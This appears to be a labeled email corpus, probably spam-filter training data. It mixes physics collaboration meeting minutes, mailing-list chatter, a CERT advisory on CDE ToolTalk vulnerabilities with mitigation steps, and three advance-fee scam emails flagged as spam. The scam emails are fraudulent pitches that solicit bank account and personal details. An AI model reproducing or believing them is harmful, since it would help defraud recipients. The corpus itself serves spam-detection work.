I think in the long term linux is a better skill to have. Traffic measurement: Assuming you want to measure bulk throughput, there are standard tools for measuring this, like netperf and TTCP. Generating delay and loss: again, two choices, Linux and FreeBSD. Linux has a package called NIST Net, but it is buggy and crashes under any major amount of load. FreeBSD has something called DummyNet, which is much better and completely robust. I used DummyNet for my WASP paper in SigMetrics last year and was totally happy with it (after getting frustrated with NIST Net). One thing to bear in mind is that if you're generating delay and loss, that's going to slow everything down, so you need to be careful about attributing performance loss to the right places. For example, if you use an intermediate box between two end hosts as a delay/loss generator, it may have trouble keeping up with the packet forwarding rate. That's all I can think of for now. Let me know if you have any further questions or want any other advice. -Erich -- Erich M. Nahum IBM T.J. Watson Research Center Networking Research P.O. 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Last weekend, >I did a movement from my home to a new apartment near the lab.(Previously, >it took about 2.5 hours to commute, but now I can commute by about 30 min!) > >In Osaka, we'll also have a MOON meeting today from 5pm. >I'll send a meeting minutes later. > >Hope all is going well in Sudbury and Seattle! I hope to attend >a collaboration meeting in August. >Please express my best regards to everyone. > >Thanks, >Ryuta > Hi Ryuta, Sorry you couldn't make it! Attached are the minutes of the meeting. cheerily, Peter Date: Mon, 1 Jul 2002 16:22:26 -0700 (PDT) From: ""Victor M. Gehman"" To: v@npl.washington.edu, , , ""V. Gehman"" , , Subject: Mo Meeting Minutes (07/01/02) ...and other alliterative topics in nuclear physics! 1. Mo Chemistry (Doug): George finished compiling information on Mo compounds, and listing them by formal valence. Most of it was not news, but there were a few new prospects. There was some discussion of possible replacements for Mo(CO)6 as the Mo compound we will focus on dissolving. Next there was some more talk of the plan Doug will follow with regard to testing new Mo solutions. This will probably involve fairly extensive use of flame AA to determine Mo concentration by weight. 1. Optimize instrument parameters (including flame characteristics, and exact dilution in MIBK) using a standard solution (like 0.3% Mo by mass). 2. Fine tune instrument setup and calibrate instrument for linearity and range. 3. Mix saturated solutions in PC an other scintillators (Xylenes, Benzene, Toluene, 1-Methyl Napthelene). Creation of standard solutions may be necessary for the other solvents as well. Action Items: Doug will write and distribute a more complete version of the above plan. George will email his list of Mo compounds to Peter and anyone else who wants a copy. 2. APDs (George and Hideiko) George has been trying to nail down some of the specific characteristics of APDs made by different companies (mostly Hamamatsu), and find a way to come up with the spatial resolution of these APDs. Most have timing resolutions between 1 and 10 ns. 10 ns corresponds to roughly 1 m in spatial resolution, and 1 ns corresponds to about 10 cm. He has also been trying to work out the fraction of dead space in the detector due to the separation between the APDs. There is some concern that any APDs we get will need to be cooled (maybe to LN2 temperatures!) for the dark current to be low enough. Hideiko has been looking at coming up with statistical limits on the spatial resolution analytically. Action Items: Hamish, George and Hideiko will form an APD ""working group"" that will focus on actually getting some APDs from different companies and trying single photon counting with them. The group will also work on characterizing the dark current from these APDs. 3. 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Not many is not the same as none. Anyone still subscribed? Sure. ",0,0 Yannis Haralambous ,"karl@freefriends.org, hidden@paradise.net.nz, tex-fonts@sunshine.math.utah.edu","Tue, 09 Jul 2002 18:03:23 +0200","Re: [spam score 3/10 -pobox] Re: SPAM, viruses...","Strange as it may seem, this message---which is certainly not a spam and does not contain the words one usually finds in a spam---was rated as spam ([spam score 3/10]) by my ISP (pobox)... I wonder why > Who runs this list? > >Nelson Beebe (beebe@math.utah.edu). > > Is it in fact still being used? > >Sure. > > Not many real posts in a month. > >Not many is not the same as none. > > Anyone still subscribed? > >Sure. > > +--------------------------------------------------------------------+ | Yannis Haralambous, Ph.D. yannis.haralambous@enst-bretagne.fr | | Directeur d'Études http://omega.enstb.org/yannis | | Tel. +33 (0)2.29.00.14.27 | | Fax +33 (0)2.29.00.12.82 | | Département Informatique | | École Nationale Supérieure des Télécommunications de Bretagne | | Technopôle de Brest Iroise, BP 832, 29285 Brest CEDEX, France | +--------------------------------------------------------------------+ ...pour distinguer l'extérieur d'un aquarium, mieux vaut n'être pas poisson ...the ball I threw while playing in the park has not yet reached the ground ",0,1 Hamish Robertson ,Vic Gehman ,"Tue, 09 Jul 2002 22:54:19 -0700",Re: Magnificent Monday Molybdenum Meeting Minutes (07/08/2002),"Vic, Please add to your mailing list Hideko Iwamoto iwamoto@u.washington.edu Ryuta Hazama hazama@marie.npl.washington.edu, hazama@km.phys.sci.osaka-u.ac.jp also note, it's ""carbonyl"" not ""carboneal"". Thanks, Hamish >1. Chemistry (Doug and Vic) > There was a brief initial discussion about whether the quenching >in some of these Molybdenum solutions was collisional or du to optical >absorption. Hamish then asked about whether some of the molybdenum >nitrates or acetyle acetonates were viable alternatives to molybdenum >carboneal. > Doug informed us that the MIBK was finally here, and then >presented an outline of the schedule of chemical testing over the next few >weeks: > -Tuesday (07/09/2002): spend the day getting used to the > instrument over in the EH department, and run the standard > solutions of Mo-carboneal in PC. Hamish mentioned that the Mo > carboneal we have was a special highly distilled sample we had to > order from Russia with quite a bit of lead time, so we need to be > mindful of how much we will need so that we can order more if > necessary. > -Wednesday and Friday (07/10/2002 and 07/12/2002): go back to test > for degradation of the standard solutions. > -Thursday (07/11/2002): prepare standard solutions with the other > solvents to be tasted on Friday, as well. > >Action Items: > 1. Peter needs to compile the results of the quench tests for > Doug. > 2. Doug will distribute the testing schedule and investigate the > alternative Mo compounds Hamish suggested. > 3. Hamish will lookup the Alfa Aesar catalogue number for the > compounds he suggested for Doug. > >2. APDs (Hamish, George and Hideko): > George has been compiling information on APDs, and has found five >good places to buy them: Advanced Photonics, Ortec, RMD, GPD, and >Hamamatsu. The Ortec APDs have some of the best specs, but are VERY small >(<0.5 mm), which makes them ill suited for our experiment. AP has the >biggest selection of sizes (3mm, 5mm, 10mm, 16mm). We then talked about >how we can make sure that we are getting single photon counting (i.e. what >kid of sources to use, geometry of our setup, etc.), and how much dark >current our experiment can handle. > >Action Items: > 1. George will check the availability of APDs from AP. > 2. George will also start working on calculating the charge per > pulse, dark current, pulse rate, cutoff voltage, and required > resistance for each of the APDs in which we are interested. > 3. Hideko and Hamish will continue to work on the spatial > resolution calculations. > 4. Hamish George and Hideko will meet Wednesday in Hamish's office > to discuss APD issues. > >3. Energy Resolution (Vic): > Vic made some progress last week on getting the ideal form of the >0nu + 2nu double beta spectra. He had been using a simple shifted >Gaussian for the 2nu spectrum, which Hamish informed his was probably not >a good choice because the ""wings"" of the distribution were too big. There >was also some question as to the relative normalization of the two >spectra. From the discussion in Bohem and Vogel, Vic concluded that the >ratio of the areas under the 0nu and 2nu spectra should be approximately >10^-8. This is MUCH lower than the numbers being presently quoted. This >could be because Bohem and Vogel is a ten year old book, or because Vic >didn't fully understand their treatment of the subject. Vic also >finished writing the computer program that uses a Monte Carlo to jumble >the ""idealized"" data. > >Action Items: > 1. Vic will replace the shifted Gaussian in the 2nu spectrum with > a more physical functional form. > 2. Vic will continue to work on this problem. > >4. Discussion of Reading Material (all) > It was almost 5:30 by the time we got to this item, so we ended >the meeting. > >________________________________________________________ >Victor M. Gehman > >Graduate Student, University of Washington Physics Dept. >Lover of Fine Things and Man of Good Taste >1996 Olympic Pie Fight Bronze Medalist >Washington State Certified Elvis Impersonator > >""Who cares what psychiatrists write on walls???!!!"" > --Jeffrey Goines -- ************************** Hamish Robertson, Department of Physics, University of Washington, PO Box 351560, Seattle, WA 98195 Ph (Physics): 206-616-2745 FAX: 206-616-2902",0,0 CERT Advisory ,cert-advisory@cert.org,"Wed, 10 Jul 2002 21:36:45 -0400",CERT Advisory CA-2002-20 Multiple Vulnerabilities in CDE ToolTalk," -----BEGIN PGP SIGNED MESSAGE----- CERT Advisory CA-2002-20 Multiple Vulnerabilities in CDE ToolTalk Original release date: July 10, 2002 Last revised: -- Source: CERT/CC A complete revision history can be found at the end of this file. Systems Affected * Systems running CDE ToolTalk Overview Two vulnerabilities have been discovered in the Common Desktop Environment (CDE) ToolTalk RPC database server. The first vulnerability could be used by a remote attacker to delete arbitrary files, cause a denial of service, or possibly execute arbitrary code or commands. The second vulnerability could allow a local attacker to overwrite arbitrary files with contents of the attacker's choice. I. Description The Common Desktop Environment (CDE) is an integrated graphical user interface that runs on UNIX and Linux operating systems. CDE ToolTalk is a message brokering system that provides an architecture for applications to communicate with each other across hosts and platforms. The ToolTalk RPC database server, rpc.ttdbserverd, manages communication between ToolTalk applications. For more information about CDE, see http://www.opengroup.org/cde/ http://www.opengroup.org/desktop/faq/ This advisory addresses two new vulnerabilities in the CDE ToolTalk RPC database server. These vulnerabilities are summarized below and are described in further detail in their respective vulnerability notes. A list previously documented problems in CDE can be found Appendix B. VU#975403 - Common Desktop Environment (CDE) ToolTalk RPC database server (rpc.ttdbserverd) does not adequately validate file descriptor argument to _TT_ISCLOSE() The ToolTalk RPC database server does not validate the range of an argument passed to the procedure _TT_ISCLOSE(). As a result, certain locations in memory can be overwritten with zeros. For more information, please see VU#975403: http://www.kb.cert.org/vuls/id/975403 This vulnerability has been assigned CAN-2002-0677 by the Common Vulnerabilities and Exposures (CVE) group. VU#299816 - Common Desktop Environment (CDE) ToolTalk RPC database server (rpc.ttdbserverd) does not adequately validate file operations The ToolTalk RPC database server does not ensure that the target of a file write operation is a valid file and not a symbolic link. For more information, please see VU#299816: http://www.kb.cert.org/vuls/id/299816 This vulnerability has been assigned CAN-2002-0678 by the Common Vulnerabilities and Exposures (CVE) group. II. Impact VU#975403 - Common Desktop Environment (CDE) ToolTalk RPC database server (rpc.ttdbserverd) does not adequately validate file descriptor argument to _TT_ISCLOSE() By issuing a specially crafted call to the procedure _TT_ISCLOSE(), a remote attacker could overwrite certain locations in memory with zeros. Using a combination of techniques that include valid ToolTalk RPC requests, an attacker could leverage this vulnerability to delete any file that is accessible by the ToolTalk RPC database server. Since the server typically runs with root privileges, any file on a vulnerable system could be deleted. Overwriting memory or deleting files could cause a denial of service. It may also be possible to execute arbitrary code and commands. VU#299816 - Common Desktop Environment (CDE) ToolTalk RPC database server (rpc.ttdbserverd) does not adequately validate file operations By referencing a specially crafted symbolic link in certain ToolTalk RPC requests, a local attacker could overwrite any file that is accessible by the the ToolTalk RPC database server with contents of the attacker's choice. Since the server typically runs with root privileges, any file on a vulnerable system could be overwritten. Overwriting root-owned files could lead to lead to privilege escalation or cause a denial of service. III. Solution Apply a patch from your vendor Appendix A contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Please contact your vendor directly. Disable vulnerable service Until patches are available and can be applied, you may wish to disable the ToolTalk RPC database service. As a best practice, the CERT/CC recommends disabling all services that are not explicitly required. On a typical CDE system, it should be possible to disable rpc.ttdbserverd by commenting out the relevant entries in /etc/inetd.conf and if necessary, /etc/rpc, and then by restarting the inetd process. The program number for the ToolTalk RPC database server is 100083. If references to 100083 or rpc.ttdbserverd appear in /etc/inetd.conf or /etc/rpc or in output from the rpcinfo(1M) and ps(1) commands, then the ToolTalk RPC database server may be running. The following example was taken from a system running SunOS 5.8 (Solaris 8): /etc/inetd.conf ... # # Sun ToolTalk Database Server # 100083/1 tli rpc/tcp wait root /usr/dt/bin/rpc.ttdbserverd\\ rpc.ttdbserverd (line wrapped) ... # rpcinfo -p program vers proto port service ... 100083 1 tcp 32773 ... # ps -ef UID PID PPID C STIME TTY TIME CMD ... root 355 164 0 19:31:27 ? 0:00 rpc.ttdbserverd ... Before deciding to disable the ToolTalk RPC database server or the RPC portmapper service, carefully consider your network configuration and service requirements. Block access to vulnerable service Until patches are available and can be applied, you may wish to block access to the ToolTalk RPC database server and possibly the RPC portmapper service from untrusted networks such as the Internet. Use a firewall or other packet-filtering technology to block the appropriate network ports. The ToolTalk RPC database server may be configured to use port 692/tcp or another port as indicated in output from the rpcinfo(1M) command. In the example above, the ToolTalk RPC database server is configured to use port 32773/tcp. The RPC portmapper service typically runs on ports 111/tcp and 111/udp. Keep in mind that blocking ports at a network perimeter does not protect the vulnerable service from attacks that originate from the internal network. Before deciding to block or restrict access to the ToolTalk RPC database server or the RPC portmapper service, carefully consider your network configuration and service requirements. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. Caldera, Inc. Caldera Open UNIX and Caldera UnixWare provide the CDE ttdbserverd daemon, and are vulnerable to these issues. We have prepared fixes for those two operating systems, and will make them available as soon as these issues are made public. SCO OpenServer and Caldera OpenLinux do not provide CDE, and are therefore not vulnerable. Compaq Computer Corporation SOURCE: Compaq Computer Corporation, a wholly-owned subsidiary of Hewlett-Packard Company and Hewlett-Packard Company HP Services Software Security Response Team CROSS REFERENCE: SSRT2251 At this time Compaq does have solutions in final testing and will publish HP Tru64 UNIX security bulletin (SSRT2251) with patch information as soon as testing has completed and kits are available from the support ftp web site. A recommended workaround however is to disable rpc.ttdbserver until solutions are available. This should only create a potential problem for public software packages applications that use the RPC-based ToolTalk database server. This step should be evaluated against the risks identified, your security measures environment, and potential impact of other products that may use the ToolTalk database server. To disable rpc.ttdbserverd: + Comment out the following line in /etc/inetd.conf: rpc.ttdbserverd stream tcp swait root /usr/dt/bin/rpc.ttdbserverd rpc.ttdbserverd (line wrapped) + Force inetd to re-read the configuration file by executing the inetd -h command. Note: The internet daemon should kill the currently running rpc.ttdbserver. If not, manually kill any existing rpc.ttdbserverd process. Cray, Inc. Cray, Inc. does include ToolTalk within the CrayTools product. However, rpc.ttdbserverd is not turned on or used by any Cray provided application. Since a site may have turned this on for their own use, they can always remove the binary /opt/ctl/bin/rpc.ttdbserverd if they are concerned. Fujitsu Fujitsu's UXP/V operating system is affected by the vulnerability reported in VU#975403 [or VU#299816] because UXP/V does not support any CDE functionalties. Hewlett-Packard Company HP9000 Series 700/800 running HP-UX releases 10.10, 10.20, 11.00, and 11.11 are vulnerable. Until patches are available, install the appropriate file to replace rpc.ttdbserver. Download rpc.ttdbserver.tar.gz from the ftp site. This file is temporary and will be deleted when patches are available from the standard HP web sites, including itrc.hp.com. System: hprc.external.hp.com (192.170.19.51) Login: ttdb1 Password: ttdb1 FTP Access: ftp://ttdb1:ttdb1@hprc.external.hp.com/ ftp://ttdb1:ttdb1@192.170.19.51/ File: rpc.ttdbserver.tar.gz MD5: da1be3aaf70d0e2393bd9a03feaf4b1d An HP security bulletin will be released with more information. IBM Corporation The CDE desktop product shipped with AIX is vulnerable to both the issues detailed above in the advisory. This affects AIX releases 4.3.3 and 5.1.0 An efix package will be available shortly from the IBM software ftp site. The efix packages can be downloaded from ftp.software.ibm.com/aix/efixes/security. This directory contains a README file that gives further details on the efix packages. The following APARs will be available in the near future: AIX 4.3.3: IY32368 AIX 5.1.0: IY32370 SGI SGI acknowledges the ToolTalk vulnerabilities reported by CERT and is currently investigating. No further information is available at this time. For the protection of all our customers, SGI does not disclose, discuss or confirm vulnerabilities until a full investigation has occurred and any necessary patch(es) or release streams are available for all vulnerable and supported IRIX operating systems. Until SGI has more definitive information to provide, customers are encouraged to assume all security vulnerabilities as exploitable and take appropriate steps according to local site security policies and requirements. As further information becomes available, additional advisories will be issued via the normal SGI security information distribution methods including the wiretap mailing list on http://www.sgi.com/support/security/. Sun Microsystems, Inc. The Solaris RPC-based ToolTalk database server, rpc.ttdbserver, is vulnerable to the two vulnerabilities [VU#975403 VU#299816] described in this advisory in all currently supported versions of Solaris: Solaris 2.5.1, 2.6, 7, 8, and 9 Patches are being generated for all of the above releases. Sun will publish a Sun Security Bulletin and a Sun Alert for this issue. The Sun Alert will be available from: http://sunsolve.sun.com The patches will be available from: http://sunsolve.sun.com/securitypatch Sun Security Bulletins are available from: http://sunsolve.sun.com/security Xi Graphics Xi Graphics deXtop CDE v2.1 is vulnerable to this attack. When announced, the update and accompanying text file will be: ftp://ftp.xig.com/pub/updates/dextop/2.1/DEX2100.016.tar.\\ gz (line wrapped) ftp://ftp.xig.com/pub/updates/dextop/2.1/DEX2100.016.txt Most sites do not need to use the ToolTalk server daemon. Xi Graphics Security recommends that non-essential services are never enabled. To disable the ToolTalk server on your system, edit /etc/inetd.conf and comment out, or remove, the 'rpc.ttdbserver' line. Then, either restart inetd, or reboot your machine. Appendix B. - References * http://www.opengroup.org/cde/ * http://www.opengroup.org/desktop/faq/ * http://www.cert.org/advisories/CA-2002-01.html * http://www.cert.org/advisories/CA-2001-31.html * http://www.kb.cert.org/vuls/id/172583 * http://www.cert.org/advisories/CA-2001-27.html * http://www.kb.cert.org/vuls/id/595507 * http://www.kb.cert.org/vuls/id/860296 * http://www.cert.org/advisories/CA-1999-11.html * http://www.cert.org/advisories/CA-1998-11.html * http://www.cert.org/advisories/CA-1998-02.html _________________________________________________________________ The CERT Coordination Center thanks the reporters, Iv�n Arce and Ricardo Quesada of CORE SECURITY TECHNOLOGIES, for their assistance and cooperation in producing this document. _________________________________________________________________ Author: Art Manion ______________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-20.html ______________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. 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Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. ______________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _________________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2002 Carnegie Mellon University. Revision History July 10, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPSzfNKCVPMXQI2HJAQGb3AP9Fh4bIxXmwBxxhlcJc+OCvbwWAcOYhO4X ymhM/lO/3MvlBof2iANKGAgC0+DNGg+NTHuvpFnfCDdyUR6teiPfxBxJZWTLrPGQ bWmYzgs3A+K1Tl+b0wMbLm0BuizzCyoKegTUQ8Qygt4kWQ26NEMMoeE/XCtID0LX L5PLJReDnJY= =sjVU -----END PGP SIGNATURE----- ",0,1 DR SELECK DOUGLAS ,tex-fonts@tug.org,"Thu, 11 Jul 2002 03:02:20 -0000",BUSINESS PROPOSAL,"UNION BANK OF NIGERIA PLC. UNION BANK HOUSE LAGOS-NIGERIA TELE/FAX:234-1-7762125 ATTN: I AM THE DIRECTOR OF BILLS AND EXCHANGE AT THE FOREIGN REMITTANCE DEPARTMENT OF UNION BANK OF NIGERIA PLC. I AM WRITING FOLLOWING THE IMPRESSIVE INFORMATION ABOUT YOU THROUGH ONE OF MY FRIENDS WHO RUNS A CONSULTANCY FIRM . HE ASSURED ME OF YOUR CAPABILITY AND RELIABILITY TO CHAMPION THIS BUSINESS OPPORTUNITY. IN MY DEPARTMENT WE DISCOVERED AN ABANDONED SUM OF US$18.5M ( EIGHTEEN MILLION FIVE HUNDRED THOUSAND UNITED STATES DOLLARS ONLY) IN AN ACCOUNT THAT BELONGS TO ONE OF OUR FOREIGN CUSTOMERS WHO DIED ALONG WITH HIS ENTIRE FAMILY IN NOVEMBER 1998 IN A PLANE CRASH. SINCE WE GOT INFORMATION ABOUT HIS DEATH, WE HAVE BEEN EXPECTING HIS NEXT OF KIN TO COME OVER AND CLAIM HIS MONEY BECAUSE WE CANNOT RELEASE IT UNLESS SOMEBODY APPLIES FOR IT AS NEXT OF KIN OR RELATION TO THE DECEASED AS INDICATED IN OUR BANKING GUIDELINES. UNFORTUNATELY WE LEARNT THAT ALL HIS SUPPOSED NEXT OF KIN OR RELATIONS DIED ALONG WITH HIM AT THE PLANE CRASH LEAVING NOBODY BEHIND FOR THE CLAIM. IT IS THEREFORE UPON THIS DISCOVERY THAT I AND OTHER OFFICIALS IN THE DEPARTMENT NOW DECIDED TO MAKE BUSINESS WITH YOU AND RELEASED THE MONEY TO YOU AS THE NEXT OF KIN OR RELATIONS OF THE DECEASED FOR SAFETY AND SUBSEQUENT DISBURSEMENT SINCE NOBODY IS COMING FOR IT AND WE DON’T WANT THIS MONEY TO GO DISBURSEMENT ACCOUNT AS UNCLAIMED BILL. THE BANKING LAW AND GUIDELINES HERE STIPULATED THAT IF SUCH MONEY REMAINED UNCLAIMED AFTER FOUR YEARS THE MONEY WILL BE TRANSFERRED INTO FEDERAL GOVERNMENT ACCOUNT AS UNCLAIMED FUND. THE REQUEST OF A FOREIGNER AS NEXT OF KIN IN THIS BUSINESS IS OCCASIONED BY THE FACT THAT THE CUSTOMERS WAS A FOREIGNER AND A NIGERIAN CANNOT STAND AS NEXT OF KIN TO A FOREIGNER. WE AGREE THAT 30% OF THIS MONEY WILL BE FOR YOU AS FOREIGN PARTNER AND 10% FOR EXPENSES INCURRED DURING THE COURSE OF REMITTANCE. THEREAFTER TO THE PERCENTAGES INDICATED. THEREFORE TO ENABLE THE IMMEDIATE TRANSFER OF THE FUND TO YOU AS ARRANGED. YOU MUST APPLY FIRST TO THE BANK A RELATION OR NEXT OF KIN OF THE DECEASED INDICATING YOUR BANK ACCOUNT NUMBER AND LOCATION WHERE IN THE MONEY WILL BE REMITTED . UPON RECEIPT OF YOUR REPLY I WILL SEND TO YOU THE TEXT OF THE APPLICATION. AS SOON AS YOU RECEIVE THIS LETTER, YOU SHOULD CONTACT ME AT ONCE THROUGH THE ABOVE STATED TELEFAX NUMBER ONLY AND INDICATE YOUR DIRECT AND CONFIDENTIAL TELEPHONE/FAX NUMBERS FOR THE EFFECTIVE COMMUNICATION REQUIRED. TRUSTING TO HEAR FORM YOU IMMEDIATELY. YOURS FAITHFULLY, DR SELECK DOUGLAS DIRECTOR, INTERNATIONAL REMITTANCE DEPARTMENT UBN OF NIGERIA PLC. ",1,0 BENSON SEKO ,tex-fonts@tug.org,"Thu, 11 Jul 2002 04:18:52 -0000",PLEASE CAN YOU ASSIST,"DEAR FRIEND, I AM BENSON SEKO SON OF THE LATE MOBUTU SESE SEKO, THE FORMER PRESIDENT OF THE ZAIRE. I AM PRESENTLY UNDER PROTECTION IN NIGERIA AS A POLITICAL REFUGEE. I GOT YOUR CONTACT DURING MY SEARCH FOR A STRANGER THAT CAN COOPERATE WITH ME IN THIS MUTUAL TRANSACTION. I WANT YOU TO NOTE THAT THIS BUSINESS WILL BENEFIT BOTH OF US. HOWEVER, YOU MUST CONFIRM YOUR ABILITY TO HANDLE THIS BECAUSE IT INVOLVES A LARGE AMOUNT OF MONEY. THE MONEY (47 MILLION US DOLLARS ) I ESCAPED WITH MY PARENTS ALONG WITH MY BROTHER BASHER OUT OF DEMOCRATIC REPUBLIC OF CONGO (DRC) TO ABIDJAN, COTE D'IVOIRE WHERE MY FAMILY AND I SETTLED, WHILE WE LATER MOVED TO SETTLED IN MORROCO WHERE MY FATHER LATER DIED OF CANCER DISEASE.I DECIDED LAYING LOW IN AFRICA TO STUDY THE SITUATION TILL WHEN THINGS GETS BETTER, LIKE NOW THAT PRESIDENT KABILA IS DEAD AND THE SON TAKING OVER (JOSEPH KABILA). ONE OF MY LATE FATHER'S CHATEAUX IN SOUTHERN FRANCE WAS CONFISCATED BY THE FRENCH GOVERNMENT, THIS LED TO THE DECISION TO TURN THE REMAINING FUNDS OVER TO A SAFE SECURITY COMPANY IN EUROPE VIA THE DIPLOMATIC COURIER SERVICES FOR SAFE KEEPING AS MOST OF MY FATHER'S BILLIONS OF DOLLARS DEPOSITED IN SWISS BANKS AND OTHER FINANCIAL INSTITUTIONS HAVE BEEN FROZEN BY THE GOVERNMENT OF (DR) MR LAURENT KABILA HAVING CONCLUDED ARRANGEMENTS WITH THE SWISS GOVERNMENT AND OTHER CONTRIES INVOLVED. NOW THE CRISIS HAS ABATED I AM LOOKING FOR A PERSON LIKE YOU TO PROCEED TO THE PLACE OF THE SECURITY COMPANY IN ORDER TO CLEAR THE FUND AND INVEST ON MY BEHALF AS I DON’T WANT MY NAME TO BE USED FOR NOW AS I REALISE VERY MUCH THE TYPE OF HATRED LATE KABILA THE FORMER HEAD OF STATE HAS FOR MY LATE FATHER AND EVEN HIS SON WHO IS NOW THE HEAD OF STATE. NOTE THAT I WILL SEND TO YOU THE RELEVANT DOCUMENTS THAT WILL ENABLE YOU TAKE POSSESION OF THE FUND FOR ONWARD INVESTMENT FOR OUR MUTUAL BENEFIT. ALL I NEED FROM YOU IS AS FOLLOWS: 1. A COMMITTMENT THAT YOU WILL KEEP THE TRANSACTION STRICTLY CONFIDENTIAL. 2. YOUR CONFIRMATION OF YOUR ABILITY TO HANDLE THIS. 3. YOUR TELEPHONE AND FAX NUMBERS INCLUDING MOBILE FOR EASY COMMUNICATION. 4. YOUR FULL PERMANENT ADDRESS. AS SOON AS I GET THE ABOVE INFORMATION FROM YOU, I WILL DISCLOSE TO YOU THE NAME AND THE COUNTRY OF THE SECURITY COMPANY SO THAT YOU CAN MAKE ARRANGEMENTS TO TRAVEL AND COLLECT THE LUGGAGES. I AM WAITING FOR YOUR RESPONSE VIA EMAIL:bseko@omaninfo.com TO ENABLE US PROCEED. REGARDS. BENSON SEKO ",1,0 YUSUF ,tex-fonts@tug.org,"Thu, 11 Jul 2002 05:31:01 -0000",READ THIS,"MR. YUSUF ALI, CHAIRMAN, CONTRACTS AWARDS AND IMPLIMENTATION COMMITEE. IT IS WITH NATURAL TRUST THAT I WRITE TO SOLICIT YOUR PARTNERSHIP AND ASSISTANCE IN AN URGENT AND MUTUALLY BENEFITING BUSINESS TRANSACTION. I GOT YOUR DATA FROM THE NIGERIAN CHAMBER OF COMMERCE AND INDUSTRY, AND A CHECK ON YOUR PROFILE HAS CONVINCED ME THAT YOU COULD BE TRUSTED WITH A LARGE SUM OF MONEY THAT WE INTEND TO TRANSFER OVERSEAS, FOR SAFE KEEPING. I AM MR. YUSUF ALI , CHAIRMAN OF THE CONTRACTS AWARDS AND IMPLEMENTATION COMMITTEE (C.A.I.C), SET UP BY THE NEW DEMOCRATIC GOVERNMENT IN NIGERIA, TO REVIEW AND MAKE RECOMMENDATIONS FOR PAYMENTS ON ALL OUTSTANDING FOREIGN DEBTS RESULTING FROM CONTRACTS EXECUTED FOR THE NIGERIAN NATIONAL PETROLEUM CORPORATION (NNPC) UNDER THE PAST MILITARY DISPENSATION. DURING THE COURSE OF MY COMMITTEES ASSIGNMENT, I DISCOVERED A DELIBERATELY OVER INVOICED AND UNCLAIMED CONTRACT PAYMENT TO THE TUNE OF US$50 MILLION (FIFTY MILLION UNITED STATES DOLLARS ONLY). THIS FUND HAS BEEN FLOATING RELUCTANTLY AND UNIDENTIFIED IN THE VAULT OF THE CENTRAL BANK OF NIGERIA (CBN), READY FOR IMMEDIATE TRANSFER. IN PARTNERSHIP WITH THE SECTARY OF MY COMMITTEE WHO IS ONLY PRIVY TO THIS, WE HAVE MADE ADEQUATE AND FULL PROOF ARRANGEMENT TO TRANSFER THE FUND IN QUESTION INTO A FOREIGN BANK ACCOUNT. WITH OUR INABILITY TO TRANSFER THIS MONEY BY OUR SELVES BEING CIVIL SERVANTS, WE ARE THUS ASKING THAT YOU ASSIST US IN RECEIVING THIS FUND INTO YOUR PRIVATE OR CORPORATE BANK ACCOUNT. MODALITY TO OFFICIALLY FORWARD YOUR DATA AS THE CONTRACTOR AND THE BENEFICIARY OF THE FUND HAS BEEN PERFECTED THROUGH OUR PRIVILEGED POSITION. MOREOVER THE ORIGINAL FOREIGN CONTRACTOR OF THE OVER INFLATED GENERAL CONTRACT COVER HAS LONG BEEN PAID AND HAS SINCE LEFT NIGERIA, LEAVING US WITH NO ONE TO CONTEND WITH. FOR YOUR MOST VITAL ROLE HERE, WE HAVE AGREED TO OFFER YOU 25% OF THE TOTAL FUND, WITH 5% SET ASIDE FOR TRANSFER LOGISTICS AND EXPENSES, WHILE WE RETAIN THE BALANCE 70% IT IS HOPED THAT YOU WILL WANT TO AVAIL YOUR SELF OF THIS LIFE TIME OPPORTUNITY. IF SO CONVEY YOUR KIND ACCEPTANCE IMMEDIATELY. YOU SHOULD ALSO FURNISHME WITH YOUR PRIVATE TELEPHONE AND FAX NUMBER(S) FOR EFFECTIVE COMMUNICATION. I EXPECT TO HEAR FROM YOU IMMEDIATELY, AFTER WHICH YOU WILL BE COMPREHENSIVELY DETAILED ON THIS TRANSACTION. ONCE AGAIN LET ME REASSURES YOU THAT THIS TRANSACTION IS RISK FREE, AND THIS IS THE MOST AUSPICIOUS TIME TO EXECUTE. ALSO YOU CAN REACH ME THROUGH THIS E-MAIL ADDRESS: yusuf_ali@nnpc.zzn.com OR mr_yusuf5o@hotmail.com YOURS FAITHFULLY MR. YUSUF ALI ",1,0 Francisco Chinchilla ,ggilfoyl@richmond.edu,"Thu, 11 Jul 2002 17:23:30 -0400",cleaning up old cluster,"On psc1: 1) qmod -d queue-name 2) qconf -cq queue-name 3) qmod -e queue On each node where the dqs daemon died (if it didn't die, kill it then start it again) 4) /usr/DQS/bin/dqs_execd32 ",0,0 ,,,,"by kh.bu.edu (8.11.6/8.11.6) with ESMTP id g6DGutk01723      for ; Sat, 13 Jul 2002 12:56:55 -0400 Received: from sccrmhc02.attbi.com (sccrmhc02.attbi.com [204.127.202.62])      by pks.bu.edu (8.9.3/8.9.3) with ESMTP id MAA22307      for ; Sat, 13 Jul 2002 12:56:57 -0400 Received: from Wmlhezjtg ([24.147.178.250]) by sccrmhc02.attbi.com           (InterMail vM.4.01.03.27 201-229-121-127-20010626) with SMTP           id <20020713165620.GHXD6023.sccrmhc02.attbi.com@Wmlhezjtg>           for ;           Sat, 13 Jul 2002 16:56:20 +0000 From: userid To: artwithbraininmind-l@pks.bu.edu Subject: Visibility MIME-Version: 1.0 Content-Type: multipart/alternative;      boundary=WI4u1C5uN98SbRQ3q3P7cc1935uhTJxfq4C Message-Id: 